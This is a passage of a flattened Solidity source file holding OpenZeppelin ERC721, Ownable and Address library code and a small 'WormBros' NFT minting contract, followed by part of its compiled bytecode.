*/ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/Wormbros.sol pragma solidity 0.8.0; contract WormBros is ERC721, Ownable { using SafeMath for uint256; uint256 public constant MAX_TOKENS_COUNT = 5000; uint256 public constant MAX_TOKENS_PER_PURCHASE = 20; uint256 private mintCost = 4*10**16; bool public isSaleActive = true; uint256 public tokenCounter = 0; address private c_owner; constructor () public ERC721 ("Worm Bros", "WormBro") { c_owner = msg.sender; mint(c_owner, 20); } function _baseURI() internal pure override returns (string memory) { return "https://ipfs.io/ipfs/QmYuLNvanfVfC4LYaFBipzFvQGwVv2z7M2ruxGo5ZiXC9b/"; } function setMintCost(uint256 _newPrice) external onlyOwner { mintCost = _newPrice; } function getMintCost() external view returns (uint256) { return mintCost; } function getMintCount() external view returns (uint256) { return tokenCounter; } function mint(address _to, uint256 _mintAmount) public payable { require(isSaleActive); require(_mintAmount>0); require(_mintAmount <= MAX_TOKENS_PER_PURCHASE); require(tokenCounter + _mintAmount <= MAX_TOKENS_COUNT); if (msg.sender != owner()){ require(msg.value >= mintCost * _mintAmount); } for (uint256 i = 1; i <=_mintAmount; i++) { _safeMint(_to,tokenCounter+1); tokenCounter++; } } function flipSaleStatus() external onlyOwner { isSaleActive = !isSaleActive; } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106101815760003560e01c806370a08231116100d1578063a22cb4651161008a578063ce03ec9311610064578063ce03ec931461040a578063d082e3811461041f578063e985e9c514610434578063f2fde38b1461045457610181565b8063a22cb465146103aa578063b88d4fde146103ca578063c87b56dd146103ea57610181565b806370a0823114610316578063715018a6146103365780638545f4ea1461034b5780638da5cb5b1461036b5780638fc3b5491461038057806395d89b411461039557610181565b806323b872dd1161013e57806342842e0e1161011857806342842e0e146102ac578063564566a8146102cc5780636352211e146102e1578063677014491461030157610181565b806323b872dd146102645780633ccfd60b1461028457806340c10f191461029957610181565b806301ffc9a71461018657806306fdde03146101bc578063081812fc146101de578063095ea7b31461020b578063100073801461022d57806313c738f01461024f575b600080fd5b34801561019257600080fd5b506101a66101a13660046113aa565b610474565b6040516101b391906114a6565b60405180910390f35b3480156101c857600080fd5b506101d16104bc565b6040516101b391906114b1565b3480156101ea57600080fd5b506101fe6101f93660046113e2565b61054e565b6040516101b39190611455565b34801561021757600080fd5b5061022b610226366004611381565b61059a565b005b34801561023957600080fd5b50610242610632565b6040516101b3919061192a565b34801561025b57600080fd5b50610242610637565b34801561027057600080fd5b5061022b61027f366004611240565b61063d565b34801561029057600080fd5b5061022b610675565b61022b6102a7366004611381565b6106e7565b3480156102b857600080fd5b5061022b6102c7366004611240565b6107b1565b3480156102d857600080fd5b506101a66107cc565b3480156102ed57600080fd5b506101fe6102fc3660046113e2565b6107d5565b34801561030d57600080fd5b5061024261080a565b34801561032257600080fd5b506102426103313660046111f4565b610810565b34801561034257600080fd5b5061022b610854565b34801561035757600080fd5b5061022b6103663660046113e2565b61089f565b34801561037757600080fd5b506101fe6108e3565b34801561038c57600080fd5b506102426108f2565b3480156103a157600080fd5b506101d16108f8565b3480156103b657600080fd5b5061022b6103c5366004611347565b610907565b3480156103d657600080fd5b5061022b6103e536600461127b565b610919565b3480156103f657600080fd5b506101d16104053660046113e2565b610958565b34801561041657600080fd5b5061022b6109db565b34801561042b57600080fd5b50610242610a2e565b34801561044057600080fd5b506101a661044f36600461120e565b610a34565b34801561046057600080fd5b5061022b61046f3660046111f4565b610a62565b60006001600160e01b031982166380ac58cd60e01b14806104a557506001600160e01b03198216635b5e139f60e01b145b806104b457506104b482610ad9565b90505b919050565b6060600080546104cb906119c1565b80601f01602080910402602001604051908101604052809291908181526020018280546104f7906119c1565b80156105445780601f1061051957610100808354040283529160200191610544565b820191906000526020600020905b81548152906001019060200180831161052757829003601f168201915b5050505050905090565b600061055982610af2565b61057e5760405162461bcd60e51b81526004016105759061177f565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006105a5826107d5565b9050806001600160a01b0316836001600160a01b031614156105d95760405162461bcd60e51b815260040161057590611898565b806001600160a01b03166105eb610b0f565b6001600160a01b0316148061060757506106078161044f610b0f565b6106235760405162461bcd60e51b81526004016105759061165a565b61062d8383610b13565b505050565b601481565b60075490565b61064e610648610b0f565b82610b81565b61066a5760405162461bcd60e51b8152600401610575906118d9565b61062d838383610c06565b61067d610b0f565b6001600160a01b031661068e6108e3565b6001600160a01b0316146106b45760405162461bcd60e51b8152600401610575906117cb565b6040514790339082156108fc029083906000818181858888f193505050501580156106e3573d6000803e3d6000fd5b5050565b60085460ff166106f657600080fd5b6000811161070357600080fd5b601481111561071157600080fd5b611388816009546107229190611933565b111561072d57600080fd5b6107356108e3565b6001600160a01b0316336001600160a01b031614610767578060075461075b919061195f565b34101561076757600080fd5b60015b81811161062d576107898360095460016107849190611933565b610d33565b60098054906000610799836119fc565b919050555080806107a9906119fc565b91505061076a565b61062d83838360405180602001604052806000815250610919565b60085460ff1681565b6000818152600260205260408120546001600160a01b0316806104b45760405162461bcd60e51b815260040161057590611701565b61138881565b60006001600160a01b0382166108385760405162461bcd60e51b8152600401610575906116b7565b506001600160a01b031660009081526003602052604090205490565b61085c610b0f565b6001600160a01b031661086d6108e3565b6001600160a01b0316146108935760405162461bcd60e51b8152600401610575906117cb565b61089d6000610d4d565b565b6108a7610b0f565b6001600160a01b03166108b86108e3565b6001600160a01b0316146108de5760405162461bcd60e51b8152600401610575906117cb565b600755565b6006546001600160a01b031690565b60095490565b6060600180546104cb906119c1565b6106e3610912610b0f565b8383610d9f565b61092a610924610b0f565b83610b81565b6109465760405162461bcd60e51b8152600401610575906118d9565b61095284848484610e42565b50505050565b606061096382610af2565b61097f5760405162461bcd60e51b815260040161057590611849565b6000610989610e75565b905060008151116109a957604051806020016040528060008152506109d4565b806109b384610e95565b6040516020016109c4929190611426565b6040516020818303038152906040525b9392505050565b6109e3610b0f565b6001600160a01b03166109f46108e3565b6001600160a01b031614610a1a5760405162461bcd60e51b8152600401610575906117cb565b6008805460ff19811660ff90911615179055565b60095481565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b610a6a610b0f565b6001600160a01b0316610a7b6108e3565b6001600160a01b031614610aa15760405162461bcd60e51b8152600401610575906117cb565b6001600160a01b038116610ac75760405162461bcd60e51b815260040161057590611516565b610ad081610d4d565b50565b3b151590565b6001600160e01b031981166301ffc9a760e01b14919050565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610b48826107d5565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610b8c82610af2565b610ba85760405162461bcd60e51b81526004016105759061160e565b6000610bb3836107d5565b9050806001600160a01b0316846001600160a01b03161480610bee5750836001600160a01b0316610be38461054e565b6001600160a01b0316145b80610bfe5750610bfe8185610a34565b949350505050565b826001600160a01b0316610c19826107d5565b6001600160a01b031614610c3f5760405162461bcd60e51b815260040161057590611800565b6001600160a01b038216610c655760405162461bcd60e51b815260040161057590611593565b610c7083838361062d565b610c7b600082610b13565b6001600160a01b0383166000908152600360205260408120805460019290610ca490849061197e565b90915550506001600160a01b0382166000908152600360205260408120805460019290610cd2908490611933565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6106e3828260405180602001604052806000815250610fb0565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415610dd15760405162461bcd60e51b8152600401610575906115d7565b6001600160a01b0383811660008181526005602090815260408083209487168084529490915290819020805460ff1916851515179055517f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b59376